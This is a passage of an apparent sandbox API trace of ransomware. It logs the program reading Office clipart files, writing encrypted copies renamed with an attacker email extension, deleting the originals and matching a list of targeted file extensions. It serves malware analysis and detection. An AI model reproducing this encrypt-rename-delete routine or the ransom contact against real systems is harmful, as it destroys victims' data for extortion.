dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.914] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1648) returned 1 [0298.914] CloseHandle (hObject=0x10a0) returned 1 [0298.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0298.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.915] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.915] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.915] GetLastError () returned 0x0 [0298.915] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x670, lpOverlapped=0x0) returned 1 [0299.082] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x680, lpOverlapped=0x0) returned 1 [0299.082] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.082] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.083] SetEndOfFile (hFile=0x109c) returned 1 [0299.083] CloseHandle (hObject=0x109c) returned 1 [0299.083] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.083] SetEndOfFile (hFile=0x10a0) returned 1 [0299.084] CloseHandle (hObject=0x10a0) returned 1 [0299.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.084] lstrlenW (lpString=".doc") returned 4 [0299.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString=".docx") returned 5 [0299.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.084] lstrlenW (lpString=".pdf") returned 4 [0299.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.084] lstrlenW (lpString=".xls") returned 4 [0299.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.085] lstrlenW (lpString=".xlsx") returned 5 [0299.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.085] lstrlenW (lpString=".ppt") returned 4 [0299.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString=".zip") returned 4 [0299.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.085] lstrlenW (lpString=".rar") returned 4 [0299.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString=".bz2") returned 4 [0299.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString=".7z") returned 3 [0299.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString=".dbf") returned 4 [0299.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString=".1cd") returned 4 [0299.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString=".jpg") returned 4 [0299.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.085] lstrlenW (lpString=".doc") returned 4 [0299.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString=".docx") returned 5 [0299.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.085] lstrlenW (lpString=".pdf") returned 4 [0299.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.085] lstrlenW (lpString=".xls") returned 4 [0299.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.086] lstrlenW (lpString=".xlsx") returned 5 [0299.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.086] lstrlenW (lpString=".ppt") returned 4 [0299.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.086] lstrlenW (lpString=".zip") returned 4 [0299.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.086] lstrlenW (lpString=".rar") returned 4 [0299.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.086] lstrlenW (lpString=".bz2") returned 4 [0299.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.086] lstrlenW (lpString=".7z") returned 3 [0299.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.086] lstrlenW (lpString=".dbf") returned 4 [0299.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.086] lstrlenW (lpString=".1cd") returned 4 [0299.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0299.086] lstrlenW (lpString=".jpg") returned 4 [0299.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.086] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.086] lstrlenW (lpString="HH00241_.WMF") returned 12 [0299.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.087] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1960) returned 1 [0299.087] CloseHandle (hObject=0x10a0) returned 1 [0299.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0299.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.087] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.087] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0299.088] GetLastError () returned 0x0 [0299.088] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0299.142] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0299.144] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.144] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.144] SetEndOfFile (hFile=0x109c) returned 1 [0299.145] CloseHandle (hObject=0x109c) returned 1 [0299.145] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.145] SetEndOfFile (hFile=0x10a0) returned 1 [0299.145] CloseHandle (hObject=0x10a0) returned 1 [0299.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0299.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.146] lstrlenW (lpString=".doc") returned 4 [0299.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.146] lstrlenW (lpString=".docx") returned 5 [0299.146] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.146] lstrlenW (lpString=".pdf") returned 4 [0299.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.146] lstrlenW (lpString=".xls") returned 4 [0299.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.146] lstrlenW (lpString=".xlsx") returned 5 [0299.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.146] lstrlenW (lpString=".ppt") returned 4 [0299.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.146] lstrlenW (lpString=".zip") returned 4 [0299.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.146] lstrlenW (lpString=".rar") returned 4 [0299.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.146] lstrlenW (lpString=".bz2") returned 4 [0299.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.146] lstrlenW (lpString=".7z") returned 3 [0299.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.146] lstrlenW (lpString=".dbf") returned 4 [0299.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".1cd") returned 4 [0299.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".jpg") returned 4 [0299.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".doc") returned 4 [0299.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString=".docx") returned 5 [0299.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.147] lstrlenW (lpString=".pdf") returned 4 [0299.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString=".xls") returned 4 [0299.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.147] lstrlenW (lpString=".xlsx") returned 5 [0299.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.147] lstrlenW (lpString=".ppt") returned 4 [0299.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".zip") returned 4 [0299.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.147] lstrlenW (lpString=".rar") returned 4 [0299.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString=".bz2") returned 4 [0299.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString=".7z") returned 3 [0299.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".dbf") returned 4 [0299.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".1cd") returned 4 [0299.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0299.147] lstrlenW (lpString=".jpg") returned 4 [0299.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.148] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.148] lstrlenW (lpString="HH00334_.WMF") returned 12 [0299.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.148] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1528) returned 1 [0299.148] CloseHandle (hObject=0x10a0) returned 1 [0299.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0299.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.148] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.149] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0299.149] GetLastError () returned 0x0 [0299.149] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0299.226] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x600, lpOverlapped=0x0) returned 1 [0299.227] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.227] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.227] SetEndOfFile (hFile=0x109c) returned 1 [0299.227] CloseHandle (hObject=0x109c) returned 1 [0299.227] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.227] SetEndOfFile (hFile=0x10a0) returned 1 [0299.228] CloseHandle (hObject=0x10a0) returned 1 [0299.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0299.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.228] lstrlenW (lpString=".doc") returned 4 [0299.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.228] lstrlenW (lpString=".docx") returned 5 [0299.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.228] lstrlenW (lpString=".pdf") returned 4 [0299.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".xls") returned 4 [0299.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.229] lstrlenW (lpString=".xlsx") returned 5 [0299.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.229] lstrlenW (lpString=".ppt") returned 4 [0299.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString=".zip") returned 4 [0299.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.229] lstrlenW (lpString=".rar") returned 4 [0299.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".bz2") returned 4 [0299.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".7z") returned 3 [0299.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString=".dbf") returned 4 [0299.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString=".1cd") returned 4 [0299.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString=".jpg") returned 4 [0299.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.229] lstrlenW (lpString=".doc") returned 4 [0299.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".docx") returned 5 [0299.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.229] lstrlenW (lpString=".pdf") returned 4 [0299.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.229] lstrlenW (lpString=".xls") returned 4 [0299.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.230] lstrlenW (lpString=".xlsx") returned 5 [0299.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.230] lstrlenW (lpString=".ppt") returned 4 [0299.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.230] lstrlenW (lpString=".zip") returned 4 [0299.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.230] lstrlenW (lpString=".rar") returned 4 [0299.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString=".bz2") returned 4 [0299.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString=".7z") returned 3 [0299.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.230] lstrlenW (lpString=".dbf") returned 4 [0299.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.230] lstrlenW (lpString=".1cd") returned 4 [0299.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0299.230] lstrlenW (lpString=".jpg") returned 4 [0299.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.230] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.230] lstrlenW (lpString="HH00526_.WMF") returned 12 [0299.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.231] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=13538) 